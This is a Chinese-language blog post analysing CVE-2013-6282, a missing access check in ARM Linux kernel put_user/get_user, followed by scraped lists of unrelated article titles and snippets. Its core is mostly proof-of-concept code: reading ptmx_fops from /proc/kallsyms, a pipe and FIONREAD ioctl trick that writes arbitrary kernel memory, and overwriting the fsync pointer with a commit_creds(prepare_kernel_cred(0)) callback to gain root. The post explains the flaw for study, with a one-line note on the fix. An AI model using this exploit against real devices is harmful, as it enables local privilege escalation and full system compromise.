Missing access checks in put_user/get_user kernel API (CVE-2013-6282)
/*
本文章由 莫灰灰 编写,转载请注明出处。
作者:莫灰灰 邮箱: minzhenfei@163.com
*/
1.漏洞成因
Linux kernel对ARM上的get_user/put_user缺少訪问权限检查,本地攻击者可利用此漏洞读写内核内存,获取权限提升。
2.受影响的系统
Linux kernel 3.2.2
Linux kernel 3.2.13
Linux kernel 3.2.1
3.PoC分析
(1)从/proc/kallsyms文件里获得数据结构ptmx_fops的地址
void *ptmx_fops = kallsyms_get_symbol_address("ptmx_fops");
unsigned int ptmx_fops_fsync_address = (unsigned int)ptmx_fops + 0x38;
static void *kallsyms_get_symbol_address(const char *symbol_name)
{
FILE *fp;
char function[BUFSIZ];
char symbol;
void *address;
int ret; fp = fopen("/proc/kallsyms", "r");
if (!fp) {
printf("Failed to open /proc/kallsyms due to %s.", strerror(errno));
return 0;
} while(!feof(fp)) {
ret = fscanf(fp, "%p %c %s", &address, &symbol, function);
if (ret != 3) {
break;
} if (!strcmp(function, symbol_name)) {
fclose(fp);
return address;
}
}
fclose(fp); return NULL;
}
(2)找到fsync的地址,即ptmx_fops+0x38的地方
static struct file_operations ptmx_fops;
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
int (*iterate) (struct file *, struct dir_context *);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*aio_fsync) (struct kiocb *, int datasync);
<span style="color:#ff0000;"><strong>int (*fasync) (int, struct file *, int);</strong></span>
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **);
long (*fallocate)(struct file *file, int mode, loff_t offset,
loff_t len);
int (*show_fdinfo)(struct seq_file *m, struct file *f);
};
(3)替换fsync函数指针为自己的函数
if(pipe_write_value_at_address( ptmx_fops_fsync_address,(unsigned int)&ptmx_fsync_callback )){
ptmx_fsync_callback函数能够使本进程得到权限提升
/* obtain_root_privilege - userland callback function
We set ptmx_fops.fsync to the address of this function
Calling fysnc on the open /dev/ptmx file descriptor will result
in this function being called in the kernel context
We can the call the prepare/commit creds combo to escalate the
processes priveledge.
*/
static void ptmx_fsync_callback(void)
{
commit_creds(prepare_kernel_cred(0));
}
pipe_write_value_at_address函数底层通过put_user函数改写内核地址内容
static unsigned int pipe_write_value_at_address(unsigned long address, unsigned int value)
{
char data[4];
int pipefd[2];
int i; *(long *)&data = value; if (pipe(pipefd) == -1) {
perror("pipe");
return 1;
} for (i = 0; i < (int) sizeof(data) ; i++) {
char buf[256];
buf[0] = 0;
if (data[i]) {
if (write(pipefd[1], buf, data[i]) != data[i]) {
printf("error in write().\n");
break;
}
} if (ioctl(pipefd[0], FIONREAD, (void *)(address + i)) == -1) {
perror("ioctl");
break;
} if (data[i]) {
if (read(pipefd[0], buf, sizeof buf) != data[i]) {
printf("error in read().\n");
break;
}
}
} close(pipefd[0]);
close(pipefd[1]); return (i == sizeof (data));
}
(4)手动调用fsync函数,触发自己的hook函数,得到权限提升
int fd = open(PTMX_DEVICE, O_WRONLY);
if(!fd) return 1;
fsync(fd);
close(fd);
4.修复
在put_user之前加了个地址推断
Missing access checks in put_user/get_user kernel API (CVE-2013-6282)的更多相关文章
- linux kernel API and google android compile guide
(1)linux kernel API website: http://docs.knobbits.org/local/linux-doc/html/regulator/index.html http ...
- Access Toke调用受保护的API
ASP.NET Web API与Owin OAuth:使用Access Toke调用受保护的API 在前一篇博文中,我们使用OAuth的Client Credential Grant授权方式,在服务端 ...
- ASP.NET Web API与Owin OAuth:使用Access Toke调用受保护的API
在前一篇博文中,我们使用OAuth的Client Credential Grant授权方式,在服务端通过CNBlogsAuthorizationServerProvider(Authorization ...
- Linux kernel API的查看
一般来说Linux上查看一些函数API的说明咱们可以man一下.man 2是syscall,man 3是一些库的函数API. 以下是man sections的一些说明 The table below ...
- Linux Kernel API
记录一些Linux Device Drivers中常用的API. Linux官方提供的内核文档: 1. 最新版: https://www.kernel.org/doc/html/latest/ 2. ...
- shell定时统计Nginx下access.log的PV并发送给API保存到数据库
1,统计PV和IP 统计当天的PV(Page View) cat access.log | sed -n /`date "+%d\/%b\/%Y"`/p |wc -l 统计某一天的 ...
- How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038
http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html ...
- facebook api之Access Tokens
Access Tokens When someone connects with an app using Facebook Login and approves the reqest for per ...
- 使用Flask设计带认证token的RESTful API接口[翻译]
上一篇文章, 使用python的Flask实现一个RESTful API服务器端 简单地演示了Flask实的现的api服务器,里面提到了因为无状态的原则,没有session cookies,如果访问 ...
随机推荐
- UILabel 自适应大小
NSMutableParagraphStyle *paragraphStyle = [[NSMutableParagraphStylealloc]init]; paragraphStyle.lineB ...
- 一幅图概括Android测试的方方面面
一幅图概括Android测试的方方面面,来自网络: 另外的一些测试技巧 1,测试应用程序时,环境是很大的一个影响因素:系统时间,网络情况,异常关闭等 2,测试应用程序时,第三方嵌入程序也是有影响的.如 ...
- Windows下Qt开发环境:OpenGL导入3DMax模型(.3DS)
参考:http://blog.csdn.net/cq361106306/article/details/41876541 效果: 源代码: 解释: CLoad3DS.h为加载3DMax模型的头文件,C ...
- 修改Eclipse的EasyExplore插件的键盘快捷键
工欲善其事,必先利其器 为了高效的编码,一个顺手的IDE是必不可少的. Eclipse下的EasyExplore插件挺不错,经常会打开项目的文件夹查找内容,只是日渐习惯全部键盘操作后,有时想使用Eas ...
- 【windows核心编程】IO完成端口(IOCP)复制文件小例
1.演示内容 文件复制 2.提要 复制大文件时,使用FILE_FLAG_NO_BUFFERING标志 同时需要注意: 读写文件的偏移地址为 磁盘扇区 的整数倍 读写文件的字节数为 磁盘扇区 的整数倍 ...
- 【跟我一起学Python吧】Python解释执行原理
这里的解释执行是相对于编译执行而言的.我们都知道,使用C/C++之类的编译性语言编写的程序,是需要从源文件转换成计算机使用的机器语言,经过链接器链接之后形成了二进制的可执行文件.运行该程序的时候,就可 ...
- Tomcat中的线程池StandardThreadExecutor
之所以今天讨论它,因为在motan的的NettyServer中利用它这个线程池可以作为业务线程池,它定制了一个自己的线程池.当然还是基于jdk中的ThreadExecutor中的构造方法和execut ...
- web服务器分析与设计(一)
自己写一个简单的服务器. 面向对象分析与设计第一步:获取需求(基于用例) 功能:1,支持html静态网页,2,支持常用HTTP请求,且容易扩展支持不现请求 3,可以发布站点 补充:至于对动态网页等高级 ...
- 在windows7下配置PHP访问ICE中间件(ICE3.5.1+PHP5.4+Apache2.2 for vc9)
按照ICE的官方文档(http://doc.zeroc.com/display/Ice/Using+the+Windows+Binary+Distribution#UsingtheWindowsBin ...
- hdfs[命令] dfsadmin
Usage: java DFSAdminNote: Administrative commands can only be run as the HDFS superuser. [-report] [ ...